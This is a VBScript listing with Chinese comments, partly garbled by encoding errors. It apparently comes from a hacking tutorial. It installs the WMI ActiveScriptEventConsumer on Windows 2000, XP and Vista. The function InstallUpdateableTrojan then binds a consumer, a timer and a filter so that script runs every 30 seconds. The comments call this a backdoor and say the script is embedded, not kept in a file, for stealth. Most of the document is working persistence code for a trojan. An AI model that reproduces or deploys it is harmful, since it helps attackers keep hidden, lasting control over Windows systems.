class ActiveScriptEventConsumer : __EventConsumer
{
uint8 CreatorSID = {1,1,0,0,0,0,0,5,18,0,0,0}; //事件消費(fèi)者的CreatorSID 只讀
uint32 KillTimeout = 0; //腳本允許被執(zhí)行的時(shí)間 默認(rèn)為0，腳本不會(huì)被終止
string MachineName;
uint32 MaximumQueueSize;
string Name; //自定義的事件消費(fèi)者的名字。
string ScriptingEngine; //用于解釋腳本的腳本引擎。VBScript或者JScript
string ScriptFileName; //如果你想從一個(gè)文件里面讀取想執(zhí)行的腳本的話，寫上這里吧。
string ScriptText; //用于執(zhí)行的腳本代碼。與ScriptFileName不共戴天。有你沒我，有我沒你
};

Function InstallASECForWin2K ’安裝ASEC For Windows 2000’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"\\Default","\\cimv2",1,1) ‘替換默認(rèn)的名稱空間
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWin2K Install OK!"
End Function
Function InstallASECForWinXP ’安裝ASEC For Windows XP’
Dim ASECPathXP
XPASECPath = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
XShell.run "mofcomp.exe -N:root\cimv2 "&XPASECPath&"scrcons.mof",0,TRUE ’直接運(yùn)行安裝即可
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinXP Install OK!"
End Function
Function InstallASECForVista ’安裝ASEC For Windows Vista’
Dim ASECPath2K
ASECPath2K = XShell.Expandenvironmentstrings("%windir%\system32\wbem\")
Set f = FSO.GetFile(ASECPath2K&"scrcons.mof")
Set MofFile = f.OpenAsTextStream(1,-2)
’Set MofFile = FSO.opentextfile(ASECPath2K&"scrcons.mof",1,False)
MofContent = MofFile.Readall
MofFile.Close
MofContent = Replace(MofContent,"#pragma autorecover","",1,1) //需要?jiǎng)h除autorecover，否則安裝出錯(cuò)
TempMofFile=ASECPath2K&"Temp.mof"
Set TempMof=FSO.CreateTextFile(TempMofFile,False,True)
TempMof.Write MofContent
TempMof.close
XShell.run "mofcomp.exe -N:root\cimv2 "&TempMofFile,0,TRUE
FSO.DeleteFile(TempMofFile)
ASECStatus = "Ready"
’Wscript.Echo "ASECForWinVista Install OK!"
End Function

Function InstallUpdateableTrojan
WMILink="winmgmts:\\.\root\cimv2:" //ASEC所在的名稱空間
TrojanName="ScriptKids" //自定義的消費(fèi)者名字，也就是你的后門的名字
TrojanRunTimer=30000 //自定義的腳本運(yùn)行間隔
strtxt="" //自定義的腳本內(nèi)容。為了隱蔽我們就不用scriptfilename了。會(huì)被Windows編碼后寫入CIM存儲(chǔ)庫
’配置事件消費(fèi)者’
set Asec=getobject(WMILink&"ActiveScriptEventConsumer").spawninstance_
Asec.name=TrojanName&"_consumer"
Asec.scriptingengine="vbscript"
Asec.scripttext=strtxt
set Asecpath=Asec.put_
’配置計(jì)時(shí)器’
set WMITimer=getobject(WMILink&"__IntervalTimerInstruction").spawninstance_
WMITimer.timerid=TrojanName&"_WMITimer"
WMITimer.intervalbetweenevents=TrojanRunTimer
WMITimer.skipifpassed=false
WMITimer.put_
’配置事件過濾器’
set EventFilter=getobject(WMILink&"__EventFilter").spawninstance_
EventFilter.name=TrojanName&"_filter"
EventFilter.query="select * from __timerevent where timerid="""&TrojanName&"_WMITimer"""
EventFilter.querylanguage="wql"
set FilterPath=EventFilter.put_
’綁定消費(fèi)者和過濾器’
set Binds=getobject(WMILink&"__FilterToConsumerBinding").spawninstance_
Binds.consumer=Asecpath.path
Binds.filter=FilterPath.path
Binds.put_
End Function